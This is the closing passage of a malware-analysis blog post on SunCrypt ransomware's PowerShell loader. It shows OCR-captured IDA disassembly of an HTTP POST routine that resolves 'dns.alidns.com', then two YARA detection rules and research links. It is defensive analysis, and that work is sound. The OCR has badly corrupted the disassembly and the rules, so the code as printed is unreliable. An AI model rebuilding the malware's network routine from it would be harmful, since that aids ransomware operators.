| 1Fh ecx, offset aDnzAlidngCom ;| “dms.alidns.cosm™
L= eax, [ebp+var_16C) A 3 int
eax eax, [ebpévar_1&C0]
cax; [ebptszServerlame] ean 3 imt
2 eax sub_d415808
sub_483168 esp, @Ch
esp; &h AN, 8K
loc_41964E
I L
¥y 1y
L I 1 = ¥ P

100.00% [=183,2768) (227,6108) COOLESBF 0OOO000D004105BF: wub 41984047F

And this..
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L TR YR L [ I RLE-] UULL ey sl | it (=T Ed | 1E LR L
- LA 9 Ll F )

push 1Fh mov ecx, offset aDnsAlidnsCom ; “dns.alidns.com”
lea eax, [ebp+var_16C) push eax 3 int
push eax lea eax, [ebp+var_16C]
lea eax, [ebptszServerName] push eax ; imt
push eax call sub_419888
call sub_48316@ add esp, eCh
add esp, @Ch test eax, eax

jnz loc_41964E

L

YYvy

(RN
=

push offset szversion ; "HTTP/1.1"

mowv [ebp+hInternet], eax
push offset szVerb ; TPOST"
push eax ; hConnect

(917, 676) 000185BF 00000000004196BF: sub_413540+7F

PP .

"Mozilla/5.@ (Windows NT 18.0; Winbd; x6"...

loc_41964E:

cmp [ebp+UrlComponents,.nScheme], 4
mow eax, B43331eeh

push a ; dwFlags

push a 3 lpszProxyBypass
push 8 ; lpszProxy

push a ; dwhccessType
mow esi, B4@33leah

mov [ebp+dwBufferLength], 1@eh

push offset szAgent

cmovz esi, eax

call ds:InternetOpend

push a ; dwlontext

push a ; dwFlags

push 3 3 dwService

push @ ; lpszPassword
push a ; lpszUserName
push dword ptr [ebptUrlComponents.nPort] ; nServerPort
mov edi, eax

lea eax, [ebp+szServeriiame]

push eax 3 lpszServerName
push edi ; hInternet

call ds:InternetConnecta

push a ; dwlontext

push esi ; dwFlags

push a ; lplpszAcceptTypes
push a ; lpszReferrer

push [ebp+UrlComponents. lpszUrlPath] ; lpszObjectName

loc_41977E:

pop edi

pop esi

xor al, al
pop ebx

mov esp, ebp
pop ebp

retn

sub_419548 endp

Was still no help to figure out what was passed.

I’m sure the IDA Experts could tease out the information quick but that is something else I still need to learn.

While working on this and needing more samples to compare I also wrote a yara rule to detect the obfuscation

format. The open source one will detect the base 64 encoding method.

zule Find_susnCeype_PS_Seripe |

7 Shegiidatches = "{[[zegex): :Macches ("
8 SByteconvert = =([Byte[]]"

2 meta:

3 description = "Find Fowershell SunCrypt Ransomware®™
4 auchar = "David Ledbatter BLedtechi™

& sETings:

flused so find sultiple instances used in the chliuscation
£ used to find where the bytes get converted

? $5ubString = ".Substringlll, 2000} £ the 2000 seem to be a standard cutoff point 11 could ke random from O to 7
SVircuvalAlloes = "::VircualAlloe™ FF Zile will concain 2 string like this 1 for the shell code and 1 for the ransomaware
11 condition:

12 tRep@atches > 10 and $Byteconvert and $5ubString and $Virtualalloc

This first version will search for substring as a string and only has to be found once since the value is “11” in the

string.
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S
rule Find_SunCrypt_PS_Script |
maTar
description = "Find Fowershell SunCrypt Ransomware™
author = "David Ledbatter §ladtech3i™

strings:
SRegEMatches = "{[regex]::Matches(® flused to find multiple instances used
SBytecomnwert = "[Byte[]]" s find where the bytea get co
§8ubsString = {IES3I7562737 C203230303029)
SVirtualAllee = "::VirtualAlloe™ A file will e
condition:
#Reg¥Matches > 10 and SBytecomwvert arnd §SubfString > 10 amd 5WirtuvalAllsse

the cbfuscation

d from basegd

the 1€ ie & random value 2000 sesme standard.
fer cthe ahall code and 1 for che ransomware

& osubstring (16, 20
inm 2 aceing like this

This version will search for the “Substring” string as bytes but allow for multiple possible values in the start point

for the substring.
Well that is pretty much as far I can go on this.
Possible future research.

Set up a v with Sysmon and PowerShell logging enabled as suggested by Lee Holmes here and run the sample

to see what the logs will show me.

Take a closer look and learn how the encryption works.
Links:

Link to Acronis Blog post
Link to Sapphire Blog post

Link to Anyrun for the extracted ransomware
Link to Anyrun for PowerShell sample

Link to tri.age Search
Link to my Github for Files

Link for open source yara rule for the binary

Link for open source yara rule for finding the PowerShell script

Link for working with CyberChef Assembly

Source: https://pcsxcetrasupport3.wordpress.com/2021/03/28/suncrypt-powershell-obfuscation-shellcode-and-more-yara/
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https://sapphirex00.medium.com/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83
https://app.any.run/tasks/361a1a77-b3ab-4d91-8bbf-428c16175953/
https://app.any.run/tasks/8a42f254-0299-4f42-9da3-4776957f6c65/
https://tria.ge/s?q=md5%3Ad87fcd8d2bf450b0056a151e9a116f72
https://github.com/PCsXcetra/FilesForSunCryptBlogPost
https://github.com/kevoreilly/community/blob/0de1bf900f78aea160a61caf48d7a525695046fb/data/yara/CAPE/SunCrypt.yar#L1
https://github.com/advanced-threat-research/Yara-Rules/blob/master/ransomware/RANSOM_Suncrypt.yar
https://gchq.github.io/CyberChef/#recipe=Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)

